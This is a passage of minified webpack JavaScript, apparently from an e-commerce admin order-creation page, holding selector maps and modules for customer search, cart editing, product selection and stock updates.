rule-description",cartRuleValueField:".js-cart-rule-value",cartRuleDeleteBtn:".js-cart-rule-delete-btn",cartRuleErrorBlock:"#js-cart-rule-error-block",cartRuleErrorText:"#js-cart-rule-error-text",addressesBlock:"#addresses-block",deliveryAddressDetails:"#delivery-address-details",invoiceAddressDetails:"#invoice-address-details",deliveryAddressSelect:"#delivery-address-select",invoiceAddressSelect:"#invoice-address-select",addressSelect:".js-address-select",addressesContent:"#addresses-content",addressesWarning:"#addresses-warning",deliveryAddressEditBtn:"#js-delivery-address-edit-btn",invoiceAddressEditBtn:"#js-invoice-address-edit-btn",addressAddBtn:"#js-add-address-btn",summaryBlock:"#summary-block",summaryTotalProducts:".js-total-products",summaryTotalDiscount:".js-total-discounts",summaryTotalShipping:".js-total-shipping",summaryTotalTaxes:".js-total-taxes",summaryTotalWithoutTax:".js-total-without-tax",summaryTotalWithTax:".js-total-with-tax",placeOrderCartIdField:".js-place-order-cart-id",processOrderLinkTag:"#js-process-order-link",orderMessageField:"#js-order-message-wrap textarea",sendProcessOrderEmailBtn:"#js-send-process-order-email-btn",summarySuccessAlertBlock:"#js-summary-success-block",summaryErrorAlertBlock:"#js-summary-error-block",summarySuccessAlertText:"#js-summary-success-block .alert-text",summaryErrorAlertText:"#js-summary-error-block .alert-text",shippingBlock:"#shipping-block",shippingForm:".js-shipping-form",noCarrierBlock:".js-no-carrier-block",deliveryOptionSelect:"#delivery-option-select",totalShippingField:".js-total-shipping-tax-inc",freeShippingSwitch:".js-free-shipping-switch",recycledPackagingSwitch:".js-recycled-packaging-switch",recycledPackagingSwitchValue:".js-recycled-packaging-switch:checked",isAGiftSwitch:".js-is-gift-switch",isAGiftSwitchValue:".js-is-gift-switch:checked",giftMessageField:"#cart_gift_message",cartBlock:"#cart-block",cartCurrencySelect:"#js-cart-currency-select",cartLanguageSelect:"#js-cart-language-select",productSearch:"#product-search",combinationsSelect:"#combination-select",productResultBlock:"#product-search-results",productSelect:"#product-select",quantityInput:"#quantity-input",inStockCounter:".js-in-stock-counter",combinationsTemplate:"#combinations-template",combinationsRow:".js-combinations-row",productSelectRow:".js-product-select-row",productCustomFieldsContainer:"#js-custom-fields-container",productCustomizationContainer:"#js-customization-container",productCustomFileTemplate:"#js-product-custom-file-template",productCustomTextTemplate:"#js-product-custom-text-template",productCustomInputLabel:".js-product-custom-input-label",productCustomInput:".js-product-custom-input",quantityRow:".js-quantity-row",addToCartButton:"#add-product-to-cart-btn",productsTable:"#products-table",productsTableRowTemplate:"#products-table-row-template",productsTableGiftRowTemplate:"#products-table-gift-row-template",listedProductImageField:".js-product-image",listedProductNameField:".js-product-name",listedProductAttrField:".js-product-attr",listedProductReferenceField:".js-product-ref",listedProductUnitPriceInput:".js-product-unit-input",listedProductQtyInput:".js-product-qty-input",listedProductQtyStock:".js-product-qty-stock",listedProductGiftQty:".js-product-gift-qty",productTotalPriceField:".js-product-total-price",listedProductCustomizedTextTemplate:"#js-table-product-customized-text-template",listedProductCustomizedFileTemplate:"#js-table-product-customized-file-template",listedProductCustomizationName:".js-customization-name",listedProductCustomizationValue:".js-customization-value",listedProductDefinition:".js-product-definition-td",productRemoveBtn:".js-product-remove-btn",productTaxWarning:".js-tax-warning",noProductsFoundWarning:".js-no-products-found",searchingProductsNotice:".js-searching-products",productAddForm:"#js-add-product-form",cartErrorAlertBlock:"#js-cart-error-block",cartErrorAlertText:"#js-cart-error-block .alert-text",createOrderButton:"#create-order-button"}},77871:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0});var n=x(r(88902)),o=x(r(65425)),u=x(r(99663)),i=x(r(22600)),a=x(r(95778)),s=r(76544),c=x(r(96486)),d=x(r(53938)),l=x(r(54531)),f=x(r(95469)),h=x(r(64371)),p=x(r(56005)),v=x(r(68778)),m=x(r(72872)),g=x(r(75420)),y=x(r(83015)),_=x(r(33591)),b=x(r(89621)),k=x(r(30784)),C=x(r(30787)),w=r(4002);function x(e){return e&&e.__esModule?e:{default:e}}var S=window.$,R=function(){function e(){var t=this;return(0,u.default)(this,e),this.cartId=null,this.customerId=null,this.$container=S(d.default.orderCreationContainer),this.cartProvider=new h.default,this.customerManager=new l.default,this.shippingRenderer=new f.default,this.addressesRenderer=new p.default,this.cartRulesRenderer=new v.default,this.router=new a.default,this.cartEditor=new m.default,this.cartRuleManager=new y.default,this.productManager=new _.default,this.productRenderer=new b.default,this.summaryRenderer=new k.default,this.summaryManager=new C.default,this.initListeners(),this.loadCartFromUrlParams(),{refreshAddressesList:function(e){return t.refreshAddressesList(e)},refreshCart:function(e){return t.refreshCart(e)},search:function(e){return t.customerManager.search(e)}}}return(0,i.default)(e,[{key:"hideCartInfo",value:function(){S(d.default.cartInfoWrapper).addClass("d-none")}},{key:"showCartInfo",value:function(){S(d.default.cartInfoWrapper).removeClass("d-none")}},{key:"loadCartFromUrlParams",value:function(){var e=new URLSearchParams(window.location.search),t=Number(e.get("cartId"));(0,o.default)(t)||0===t||this.cartProvider.getCart(t)}},{key:"initListeners",value:function(){var e=this;this.$container.on("input",d.default.customerSearchInput,(function(t){return e.initCustomerSearch(t)})),this.$container.on("click",d.default.chooseCustomerBtn,(function(t){return e.initCustomerSelect(t)})),this.$container.on("click",d.default.useCartBtn,(function(t){return e.initCartSelect(t)})),this.$container.on("click",d.default.useOrderBtn,(function(t){return e.initDuplicateOrderCart(t)})),this.$container.on("input",d.default.productSearch,(function(t){return e.initProductSearch(t)})),this.$container.on("input",d.default.cartRuleSearchInput,(function(t){return e.initCartRuleSearch(t)})),this.$container.on("blur",d.default.cartRuleSearchInput,(function(){return e.cartRuleManager.stopSearching()})),this.listenForCartEdit(),this.onCartLoaded(),this.onCustomersNotFound(),this.onCustomerSelected(),this.initAddressButtonsIframe(),this.initCartRuleButtonsIframe()}},{key:"initAddressButtonsIframe",value:function(){S(d.default.addressAddBtn).fancybox({type:"iframe",width:"90%",height:"90%"}),S(d.default.invoiceAddressEditBtn).fancybox({type:"iframe",width:"90%",height:"90%"}),S(d.default.deliveryAddressEditBtn).fancybox({type:"iframe",width:"90%",height:"90%"})}},{key:"initCartRuleButtonsIframe",value:function(){S("#js-add-cart-rule-btn").fancybox({type:"iframe",width:"90%",height:"90%"})}},{key:"listenForCartEdit",value:function(){var e=this;this.onCartAddressesChanged(),this.onDeliveryOptionChanged(),this.onDeliverySettingChanged(),this.addCartRuleToCart(),this.removeCartRuleFromCart(),this.onCartCurrencyChanged(),this.onCartLanguageChanged(),this.$container.on("change",d.default.deliveryOptionSelect,(function(t){return e.cartEditor.changeDeliveryOption(e.cartId,t.currentTarget.value)})),this.$container.on("change",d.default.freeShippingSwitch,(function(){return e.cartEditor.updateDeliveryOptions(e.cartId)})),this.$container.on("change",d.default.recycledPackagingSwitch,(function(){return e.cartEditor.updateDeliveryOptions(e.cartId)})),this.$container.on("change",d.default.isAGiftSwitch,(function(){return e.cartEditor.updateDeliveryOptions(e.cartId)})),this.$container.on("blur",d.default.giftMessageField,(function(){return e.cartEditor.updateDeliveryOptions(e.cartId)})),this.$container.on("click",d.default.addToCartButton,(function(){return e.productManager.addProductToCart(e.cartId)})),this.$container.on("change",d.default.cartCurrencySelect,(function(t){return e.cartEditor.changeCartCurrency(e.cartId,t.currentTarget.value)})),this.$container.on("change",d.default.cartLanguageSelect,(function(t){return e.cartEditor.changeCartLanguage(e.cartId,t.currentTarget.value)})),this.$container.on("click",d.default.sendProcessOrderEmailBtn,(function(){return e.summaryManager.sendProcessOrderEmail(e.cartId)})),this.$container.on("change",d.default.listedProductUnitPriceInput,(function(t){return e.initProductChangePrice(t)})),this.$container.on("change",d.default.listedProductQtyInput,c.default.debounce((function(t){document.querySelectorAll(d.default.listedProductQtyInput).forEach((function(e){e.setAttribute("disabled",!0)})),e.initProductChangeQty(t)}),500)),this.$container.on("change",d.default.addressSelect,(function(){return e.changeCartAddresses()})),this.$container.on("click",d.default.productRemoveBtn,(function(t){return e.initProductRemoveFromCart(t)}))}},{key:"onCartLoaded",value:function(){var e=this;s.EventEmitter.on(g.default.cartLoaded,(function(t){e.cartId=t.cartId,e.renderCartInfo(t),0===t.addresses.length||(0,w.ValidateAddresses)(t.addresses)||e.changeCartAddresses(),e.customerManager.loadCustomerCarts(e.cartId),e.customerManager.loadCustomerOrders()}))}},{key:"onCustomersNotFound",value:function(){var e=this;s.EventEmitter.on(g.default.customersNotFound,(function(){e.hideCartInfo()}))}},{key:"onCustomerSelected",value:function(){var e=this;s.EventEmitter.on(g.default.customerSelected,(function(){e.showCartInfo()}))}},{key:"onCartAddressesChanged",value:function(){var e=this;s.EventEmitter.on(g.default.cartAddressesChanged,(function(t){e.addressesRenderer.render(t.addresses,t.cartId),e.cartRulesRenderer.renderCartRulesBlock(t.cartRules,0===t.products.length),e.shippingRenderer.render(t.shipping,0===t.products.length),e.productRenderer.renderList(t.products),e.summaryRenderer.render(t)}))}},{key:"onDeliveryOptionChanged",value:function(){var e=this;s.EventEmitter.on(g.default.cartDeliveryOptionChanged,(function(t){e.cartRulesRenderer.renderCartRulesBlock(t.cartRules,0===t.products.length),e.shippingRenderer.render(t.shipping,0===t.products.length),e.summaryRenderer.render(t),e.productRenderer.renderList(t.products)}))}},{key:"onDeliverySettingChanged",value:function(){var e=this;s.EventEmitter.on(g.default.cartDeliverySettingChanged,(function(t){e.cartRulesRenderer.renderCartRulesBlock(t.cartRules,0===t.products.length),e.shippingRenderer.render(t.shipping,0===t.products.length),e.summaryRenderer.render(t)}))}},{key:"onCartLanguageChanged",value:function(){var e=this;s.EventEmitter.on(g.default.cartLanguageChanged,(function(t){e.preselectCartLanguage(t.langId),e.renderCartInfo(t)}))}},{key:"onCartCurrencyChanged",value:function(){var e=this;s.EventEmitter.on(g.default.cartCurrencyChanged,(function(t){e.renderCartInfo(t),e.productRenderer.reset()})),s.EventEmitter.on(g.default.cartCurrencyChangeFailed,(function(t){e.productRenderer.renderCartBlockErrorAlert(t.responseJSON.message)}))}},{key:"initCustomerSearch",value:function(e){var t=this;clearTimeout(this.timeoutId),this.timeoutId=setTimeout((function(){return t.customerManager.search(S(e.currentTarget).val())}),300)}},{key:"initCustomerSelect",value:function(e){var t=this.customerManager.selectCustomer(e);this.customerId=t,this.cartProvider.loadEmptyCart(t)}},{key:"initCartSelect",value:function(e){var t=S(e.currentTarget).data("cart-id");this.cartProvider.getCart(t)}},{key:"initDuplicateOrderCart",value:function(e){var t=S(e.currentTarget).data("order-id");this.cartProvider.duplicateOrderCart(t)}},{key:"initCartRuleSearch",value:function(e){var t=this,r=e.currentTarget.value;clearTimeout(this.timeoutId),this.timeoutId=setTimeout((function(){return t.cartRuleManager.search(r)}),300)}},{key:"addCartRuleToCart",value:function(){var e=this;this.$container.on("mousedown",d.default.foundCartRuleListItem,(function(t){t.preventDefault();var r=S(t.currentTarget).data("cart-rule-id");e.cartRuleManager.addCartRuleToCart(r,e.cartId)})).on("click",d.default.foundCartRuleListItem,(function(){S(d.default.cartRuleSearchInput).blur()}))}},{key:"removeCartRuleFromCart",value:function(){var e=this;this.$container.on("click",d.default.cartRuleDeleteBtn,(function(t){e.cartRuleManager.removeCartRuleFromCart(S(t.currentTarget).data("cart-rule-id"),e.cartId)}))}},{key:"initProductSearch",value:function(e){var t=this,r=S(e.currentTarget).val();clearTimeout(this.timeoutId),this.timeoutId=setTimeout((function(){return t.productManager.search(r)}),300)}},{key:"initProductRemoveFromCart",value:function(e){var t=Number(S(e.currentTarget).parents().find(d.default.listedProductQtyInput).val()),r={productId:S(e.currentTarget).data("product-id"),attributeId:S(e.currentTarget).data("attribute-id"),customizationId:S(e.currentTarget).data("customization-id"),qtyToRemove:t};this.productManager.removeProductFromCart(this.cartId,r)}},{key:"initProductChangePrice",value:function(e){var t={productId:S(e.currentTarget).data("product-id"),attributeId:S(e.currentTarget).data("attribute-id"),customizationId:S(e.currentTarget).data("customization-id"),price:S(e.currentTarget).val()};this.productManager.changeProductPrice(this.cartId,this.customerId,t)}},{key:"initProductChangeQty",value:function(e){var t={productId:S(e.currentTarget).data("product-id"),attributeId:S(e.currentTarget).data("attribute-id"),customizationId:S(e.currentTarget).data("customization-id"),newQty:S(e.currentTarget).val(),prevQty:S(e.currentTarget).data("prev-qty")};null!=t.productId&&null!=t.attributeId?this.productManager.changeProductQty(this.cartId,t):document.querySelectorAll(d.default.listedProductQtyInput).forEach((function(e){e.disabled=!1}))}},{key:"renderCartInfo",value:function(e){this.addressesRenderer.render(e.addresses,e.cartId),this.cartRulesRenderer.renderCartRulesBlock(e.cartRules,0===e.products.length),this.shippingRenderer.render(e.shipping,0===e.products.length),this.productRenderer.cleanCartBlockAlerts(),this.productRenderer.renderList(e.products),this.summaryRenderer.render(e),this.preselectCartCurrency(e.currencyId),this.preselectCartLanguage(e.langId),S(d.default.cartBlock).removeClass("d-none"),S(d.default.cartBlock).data("cartId",e.cartId)}},{key:"preselectCartCurrency",value:function(e){S(d.default.cartCurrencySelect).val(e)}},{key:"preselectCartLanguage",value:function(e){S(d.default.cartLanguageSelect).val(e)}},{key:"changeCartAddresses",value:function(){var e={deliveryAddressId:S(d.default.deliveryAddressSelect).val(),invoiceAddressId:S(d.default.invoiceAddressSelect).val()};this.cartEditor.changeCartAddresses(this.cartId,e)}},{key:"refreshAddressesList",value:function(e){var t=this,r=S(d.default.cartBlock).data("cartId");S.get(this.router.generate("admin_carts_info",{cartId:r})).then((function(r){t.addressesRenderer.render(r.addresses,r.cartId),e&&t.changeCartAddresses()})).catch((function(e){window.showErrorMessage(e.responseJSON.message)}))}},{key:"refreshCart",value:function(){var e=S(d.default.cartBlock).data("cartId");this.cartProvider.getCart(e)}}],[{key:"validateSelectedAddresses",value:function(e){for(var t=!1,r=!1,o=(0,n.default)(e),u=0;u<o.length;u+=1){var i=e[o[u]];if(i.delivery&&(t=!0),i.invoice&&(r=!0),t&&r)return!0}return!1}}]),e}();t.default=R},54531:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0});var n=d(r(99663)),o=d(r(22600)),u=d(r(53938)),i=d(r(7964)),a=r(76544),s=d(r(75420)),c=d(r(95778));function d(e){return e&&e.__esModule?e:{default:e}}var l=window.$,f=function(){function e(){var t=this;return(0,n.default)(this,e),this.customerId=null,this.activeSearchRequest=null,this.router=new c.default,this.$container=l(u.default.customerSearchBlock),this.$searchInput=l(u.default.customerSearchInput),this.$customerSearchResultBlock=l(u.default.customerSearchResultsBlock),this.customerRenderer=new i.default,this.initListeners(),this.initAddCustomerIframe(),{search:function(e){return t.search(e)},selectCustomer:function(e){return t.selectCustomer(e)},loadCustomerCarts:function(e){return t.loadCustomerCarts(e)},loadCustomerOrders:function(){return t.loadCustomerOrders()}}}return(0,o.default)(e,[{key:"initListeners",value:function(){var e=this;this.$container.on("click",u.default.changeCustomerBtn,(function(){return e.changeCustomer()})),this.onCustomerSearch(),this.onCustomerSelect(),this.onCustomersNotFound()}},{key:"initAddCustomerIframe",value:function(){l(u.default.customerAddBtn).fancybox({type:"iframe",width:"90%",height:"90%"})}},{key:"onCustomerSearch",value:function(){var e=this;a.EventEmitter.on(s.default.customerSearched,(function(t){e.activeSearchRequest=null,e.customerRenderer.hideSearchingCustomers(),0!==t.customers.length?e.customerRenderer.renderSearchResults(t.customers):a.EventEmitter.emit(s.default.customersNotFound)}))}},{key:"onCustomersNotFound",value:function(){var e=this;a.EventEmitter.on(s.default.customersNotFound,(function(){e.customerRenderer.showNotFoundCustomers(),e.customerRenderer.hideCheckoutHistoryBlock()}))}},{key:"onCustomerSelect",value:function(){var e=this;a.EventEmitter.on(s.default.customerSelected,(function(t){var r=l(t.currentTarget);e.customerId=r.data("customer-id");var n=e.router.generate("admin_addresses_create",{liteDisplaying:1,submitFormAjax:1,id_customer:e.customerId});l(u.default.addressAddBtn).attr("href",n),e.customerRenderer.displaySelectedCustomerBlock(r)}))}},{key:"changeCustomer",value:function(){this.customerRenderer.showCustomerSearch()}},{key:"loadCustomerCarts",value:function(e){var t=this,r=this.customerId;this.customerRenderer.showLoadingCarts(),l.get(this.router.generate("admin_customers_carts",{customerId:r})).then((function(r){t.customerRenderer.renderCarts(r.carts,e)})).catch((function(e){window.showErrorMessage(e.responseJSON.message)}))}},{key:"loadCustomerOrders",value:function(){var e=this,t=this.customerId;this.customerRenderer.showLoadingOrders(),l.get(this.router.generate("admin_customers_orders",{customerId:t})).then((function(t){e.customerRenderer.renderOrders(t.orders)})).catch((function(e){window.showErrorMessage(e.responseJSON.message)}))}},{key:"selectCustomer",value:function(e){return a.EventEmitter.emit(s.default.customerSelected,e),this.customerId}},{key:"search",value:function(e){if(0!==e.length){null!==this.activeSearchRequest&&this.activeSearchRequest.abort(),this.customerRenderer.clearShownCustomers(),this.customerRenderer.hideNotFoundCustomers(),this.customerRenderer.showSearchingCustomers();var t=l.get(this.router.generate("admin_customers_search"),{customer_search:e});this.activeSearchRequest=t,t.then((function(e){a.EventEmitter.emit(s.default.customerSearched,e)})).catch((function(e){"abort"!==e.statusText&&window.showErrorMessage(e.responseJSON.message)}))}}}]),e}();t.default=f},7964:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0});var n=f(r(47518)),o=f(r(12424)),u=f(r(74664)),i=f(r(99663)),a=f(r(22600)),s=f(r(53938)),c=f(r(95778)),d=f(r(75420)),l=r(76544);function f(e){return e&&e.__esModule?e:{default:e}}var h=window.$,p=function(){function e(){(0,i.default)(this,e),this.$container=h(s.default.customerSearchBlock),this.$customerSearchResultBlock=h(s.default.customerSearchResultsBlock),this.router=new c.default}return(0,a.default)(e,[{key:"renderSearchResults",value:function(e){var t=this;0!==e.length?((0,u.default)(e).forEach((function(e){var r=(0,o.default)(e,2),n=r[0],u=r[1],i={id:n,firstName:u.firstname,lastName:u.lastname,email:u.email,birthday:"0000-00-00"!==u.birthday?u.birthday:" "};t.renderFoundCustomer(i)})),h(s.default.customerDetailsBtn).fancybox({type:"iframe",width:"90%",height:"90%"})):l.EventEmitter.emit(d.default.customersNotFound)}},{key:"displaySelectedCustomerBlock",value:function(e){this.showCheckoutHistoryBlock(),e.addClass("d-none");var t=e.closest(".card");t.addClass("border-success"),t.find(s.default.changeCustomerBtn).removeClass("d-none"),this.$container.find(s.default.customerSearchRow).addClass("d-none"),this.$container.find(s.default.notSelectedCustomerSearchResults).closest(s.default.customerSearchResultColumn).remove(),this.showLoadingCarts(),this.showLoadingOrders()}},{key:"showCustomerSearch",value:function(){this.$container.find(s.default.customerSearchRow).removeClass("d-none")}},{key:"showLoadingCarts",value:function(){var e=h(s.default.customerCartsTable);e.find("tbody").empty(),this.renderLoading(e)}},{key:"renderCarts",value:function(e,t){var r=this,o=h(s.default.customerCartsTable),u=h(h(s.default.customerCartsTableRowTemplate).html());o.find("tbody").empty(),this.showCheckoutHistoryBlock(),this.removeEmptyListRowFromTable(o),(0,n.default)(e).forEach((function(n){if(n.cartId!==t){var i=u.clone();i.find(s.default.cartIdField).text(n.cartId),i.find(s.default.cartDateField).text(n.creationDate),i.find(s.default.cartTotalField).text(n.totalPrice),i.find(s.default.cartDetailsBtn).prop("href",r.router.generate("admin_carts_view",{cartId:n.cartId,liteDisplaying:1})),i.find(s.default.useCartBtn).data("cart-id",n.cartId),o.find("thead").removeClass("d-none"),o.find("tbody").append(i)}else 1===e.length&&r.renderEmptyList(o)})),h(s.default.cartDetailsBtn).fancybox({type:"iframe",width:"90%",height:"90%"})}},{key:"showLoadingOrders",value:function(){var e=h(s.default.customerOrdersTable);e.find("tbody").empty(),this.renderLoading(e)}},{key:"renderOrders",value:function(e){var t=this,r=h(s.default.customerOrdersTable),o=h(h(s.default.customerOrdersTableRowTemplate).html());r.find("tbody").empty(),this.showCheckoutHistoryBlock(),this.removeEmptyListRowFromTable(r),0!==e.length?((0,n.default)(e).forEach((function(e){var n=o.clone();n.find(s.default.orderIdField).text(e.orderId),n.find(s.default.orderDateField).text(e.orderPlacedDate),n.find(s.default.orderProductsField).text(e.orderProductsCount),n.find(s.default.orderTotalField).text(e.totalPaid),n.find(s.default.orderPaymentMethod).text(e.paymentMethodName),n.find(s.default.orderStatusField).text(e.orderStatus),n.find(s.default.orderDetailsBtn).prop("href",t.router.generate("admin_orders_view",{orderId:e.orderId,liteDisplaying:1})),n.find(s.default.useOrderBtn).data("order-id",e.orderId),r.find("thead").removeClass("d-none"),r.find("tbody").append(n)})),h(s.default.orderDetailsBtn).fancybox({type:"iframe",width:"90%",height:"90%"})):this.renderEmptyList(r)}},{key:"showNotFoundCustomers",value:function(){h(s.default.customerSearchEmptyResultWarning).removeClass("d-none")}},{key:"hideNotFoundCustomers",value:function(){h(s.default.customerSearchEmptyResultWarning).addClass("d-none")}},{key:"hideCheckoutHistoryBlock",value:function(){h(s.default.customerCheckoutHistory).addClass("d-none")}},{key:"showSearchingCustomers",value:function(){h(s.default.customerSearchLoadingNotice).removeClass("d-none")}},{key:"hideSearchingCustomers",value:function(){h(s.default.customerSearchLoadingNotice).addClass("d-none")}},{key:"renderEmptyList",value:function(e){var t=h(h(s.default.emptyListRowTemplate).html()).clone();e.find("tbody").append(t)}},{key:"renderLoading",value:function(e){var t=h(h(s.default.loadingListRowTemplate).html()).clone();e.find("tbody").append(t)}},{key:"removeEmptyListRowFromTable",value:function(e){e.find(s.default.emptyListRow).remove()}},{key:"renderFoundCustomer",value:function(e){this.hideNotFoundCustomers();var t=h(h(s.default.customerSearchResultTemplate).html()).clone();return t.find(s.default.customerSearchResultName).text(e.firstName+" "+e.lastName),t.find(s.default.customerSearchResultEmail).text(e.email),t.find(s.default.customerSearchResultId).text(e.id),t.find(s.default.customerSearchResultBirthday).text(e.birthday),t.find(s.default.chooseCustomerBtn).data("customer-id",e.id),t.find(s.default.customerDetailsBtn).prop("href",this.router.generate("admin_customers_view",{customerId:e.id,liteDisplaying:1})),this.$customerSearchResultBlock.append(t)}},{key:"showCheckoutHistoryBlock",value:function(){h(s.default.customerCheckoutHistory).removeClass("d-none")}},{key:"clearShownCustomers",value:function(){this.$customerSearchResultBlock.empty()}}]),e}();t.default=p},75420:(e,t)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default={customerSearched:"OrderCreateCustomerSearched",customerSelected:"OrderCreateCustomerSelected",customersNotFound:"OrderCreateSearchCustomerNotFound",cartLoaded:"OrderCreateCartLoaded",cartCurrencyChanged:"OrderCreateCartCurrencyChanged",cartCurrencyChangeFailed:"OrderCreateCartCurrencyChangeFailed",cartLanguageChanged:"OrderCreateCartLanguageChanged",cartAddressesChanged:"OrderCreateCartAddressesChanged",cartDeliveryOptionChanged:"OrderCreateCartDeliveryOptionChanged",cartDeliverySettingChanged:"OrderCreateCartDeliverySettingChangedSet",cartRuleSearched:"OrderCreateCartRuleSearched",cartRuleRemoved:"OrderCreateCartRuleRemoved",cartRuleAdded:"OrderCreateCartRuleAdded",cartRuleFailedToAdd:"OrderCreateCartRuleFailedToAdd",productSearched:"OrderCreateProductSearched",productAddedToCart:"OrderCreateProductAddedToCart",productAddToCartFailed:"OrderCreateProductAddToCartFailed",productRemovedFromCart:"OrderCreateProductRemovedFromCart",productPriceChanged:"OrderCreateProductPriceChanged",productQtyChanged:"OrderCreateProductQtyChanged",productQtyChangeFailed:"OrderCreateProductQtyChangeFailed",processOrderEmailSent:"OrderCreateProcessOrderEmailSent",processOrderEmailFailed:"OrderCreateProcessOrderEmailFailed"}},33591:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0});var n=h(r(88902)),o=h(r(47518)),u=h(r(99663)),i=h(r(22600)),a=h(r(72872)),s=h(r(53938)),c=h(r(75420)),d=r(76544),l=h(r(89621)),f=h(r(95778));function h(e){return e&&e.__esModule?e:{default:e}}var p=window.$,v=function(){function e(){var t=this;return(0,u.default)(this,e),this.products=[],this.selectedProduct=null,this.selectedCombinationId=null,this.activeSearchRequest=null,this.productRenderer=new l.default,this.router=new f.default,this.cartEditor=new a.default,this.initListeners(),{search:function(e){return t.search(e)},addProductToCart:function(e){return t.cartEditor.addProduct(e,t.getProductData())},removeProductFromCart:function(e,r){return t.cartEditor.removeProductFromCart(e,r)},changeProductPrice:function(e,r,n){return t.cartEditor.changeProductPrice(e,r,n)},changeProductQty:function(e,r){return t.cartEditor.changeProductQty(e,r)}}}return(0,i.default)(e,[{key:"initListeners",value:function(){var e=this;p(s.default.productSelect).on("change",(function(t){return e.initProductSelect(t)})),p(s.default.combinationsSelect).on("change",(function(t){return e.initCombinationSelect(t)})),this.onProductSearch(),this.onAddProductToCart(),this.onRemoveProductFromCart(),this.onProductPriceChange(),this.onProductQtyChange()}},{key:"onProductSearch",value:function(){var e=this;d.EventEmitter.on(c.default.productSearched,(function(t){e.products=t.products,e.productRenderer.renderSearchResults(e.products),e.selectFirstResult()}))}},{key:"onAddProductToCart",value:function(){var e=this;d.EventEmitter.on(c.default.productAddedToCart,(function(t){e.productRenderer.cleanCartBlockAlerts(),e.updateStockOnProductAdd(),d.EventEmitter.emit(c.default.cartLoaded,t)})),d.EventEmitter.on(c.default.productAddToCartFailed,(function(t){e.productRenderer.renderCartBlockErrorAlert(t)}))}},{key:"onRemoveProductFromCart",value:function(){var e=this;d.EventEmitter.on(c.default.productRemovedFromCart,(function(t){e.updateStockOnProductRemove(t.product),d.EventEmitter.emit(c.default.cartLoaded,t.cartInfo)}))}},{key:"onProductPriceChange",value:function(){var e=this;d.EventEmitter.on(c.default.productPriceChanged,(function(t){e.productRenderer.cleanCartBlockAlerts(),d.EventEmitter.emit(c.default.cartLoaded,t)}))}},{key:"onProductQtyChange",value:function(){var e=this,t=function(){document.querySelectorAll(s.default.listedProductQtyInput).forEach((function(e){e.disabled=!1}))};d.EventEmitter.on(c.default.productQtyChanged,(function(r){e.productRenderer.cleanCartBlockAlerts(),e.updateStockOnQtyChange(r.product),p(s.default.createOrderButton).prop("disabled",!1),d.EventEmitter.emit(c.default.cartLoaded,r.cartInfo),t()})),d.EventEmitter.on(c.default.productQtyChangeFailed,(function(r){e.productRenderer.renderCartBlockErrorAlert(r.responseJSON.message),p(s.default.createOrderButton).prop("disabled",!0),t()}))}},{key:"initProductSelect",value:function(e){var t=Number(p(e.currentTarget).find(":selected").val());this.selectProduct(t)}},{key:"initCombinationSelect",value:function(e){var t=Number(p(e.currentTarget).find(":selected").val());this.selectCombination(t)}},{key:"search",value:function(e){if(!(e.length<2)){this.productRenderer.renderSearching(),null!==this.activeSearchRequest&&this.activeSearchRequest.abort();var t={search_phrase:e};void 0!==p(s.default.cartCurrencySelect).data("selectedCurrencyId")&&(t.currency_id=p(s.default.cartCurrencySelect).data("selectedCurrencyId"));var r=p.get(this.router.generate("admin_orders_products_search"),t);this.activeSearchRequest=r,r.then((function(e){d.EventEmitter.emit(c.default.productSearched,e)})).catch((function(e){"abort"!==e.statusText&&window.showErrorMessage(e.responseJSON.message)}))}}},{key:"selectFirstResult",value:function(){this.unsetProduct(),0!==this.products.length&&this.selectProduct(this.products[0].productId)}},{key:"selectProduct",value:function(e){this.unsetCombination();var t=(0,o.default)(this.products).find((function(t){return t.productId===e}));return t&&(this.selectedProduct=t),this.productRenderer.renderProductMetadata(this.selectedProduct),0!==this.selectedProduct.combinations.length&&this.selectCombination((0,n.default)(this.selectedProduct.combinations)[0]),this.selectedProduct}},{key:"selectCombination",value:function(e){var t=this.selectedProduct.combinations[e];return this.selectedCombinationId=e,this.productRenderer.renderStock(p(s.default.inStockCounter),p(s.default.quantityInput),t.stock,this.selectedProduct.availableOutOfStock||t.stock<=0),t}},{key:"unsetCombination",value:function(){this.selectedCombinationId=null}},{key:"unsetProduct",value:function(){this.selectedProduct=null}},{key:"getProductData",value:function(){var e=p(s.default.productCustomizationContainer).find('input[type="file"]'),t=new FormData(document.querySelector(s.default.productAddForm)),r={};return p.each(e,(function(e,t){0!==t.files.length&&(r[p(t).data("customization-field-id")]=t.files[0].size)})),{product:t,fileSizes:r}}},{key:"updateStockOnProductAdd",value:function(){var e=this.selectedProduct.productId,t=this.selectedCombinationId,r=-Number(p(s.default.quantityInput).val());this.updateStock(e,t,r)}},{key:"updateStockOnProductRemove",value:function(e){var t=e.productId,r=e.attributeId,n=e.qtyToRemove;this.updateStock(t,r,n)}},{key:"updateStockOnQtyChange",value:function(e){var t=e.productId,r=e.attributeId,n=e.prevQty-e.newQty;this.updateStock(t,r,n)}},{key:"updateStock",value:function(e,t,r){for(var u=(0,n.default)(this.products),i=(0,o.default)(this.products),a=0;a<u.length;a+=1)if(i[a].productId===e){var c=this.productRenderer.cloneProductTemplate(i[a]);i[a].stock+=r,t&&t>0&&(i[a].combinations[t].stock+=r),this.selectedProduct.productId===e&&(0===this.selectedProduct.combinations.length?this.productRenderer.renderStock(c.find(s.default.listedProductQtyStock),c.find(s.default.listedProductQtyInput),i[a].stock,i[a].availableOutOfStock||i[a].availableStock<=0):t&&Number(this.selectedCombinationId)===Number(t)&&this.productRenderer.renderStock(c.find(s.default.listedProductQtyStock),c.find(s.default.listedProductQtyInput),i[a].combinations[t].stock,i[a].availableOutOfStock||i[a].availableStock<=0));break}}}]),e}();t.default=v},89621:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0});var n=s(r(88106)),o=s(r(47518)),u=s(r(99663)),i=s(r(22600)),a=s(r(53938));function s(e){return e&&e.__esModule?e:{default:e}}var c=window.$,d=function(){function e(){(0,u.default)(this,e),this.$productsTable=c(a.default.productsTable)}return(0,i.default)(e,[{key:"renderList",value:function(e){var t=this;this.cleanProductsList(),0!==e.length?((0,o.default)(e).forEach((function(e){var 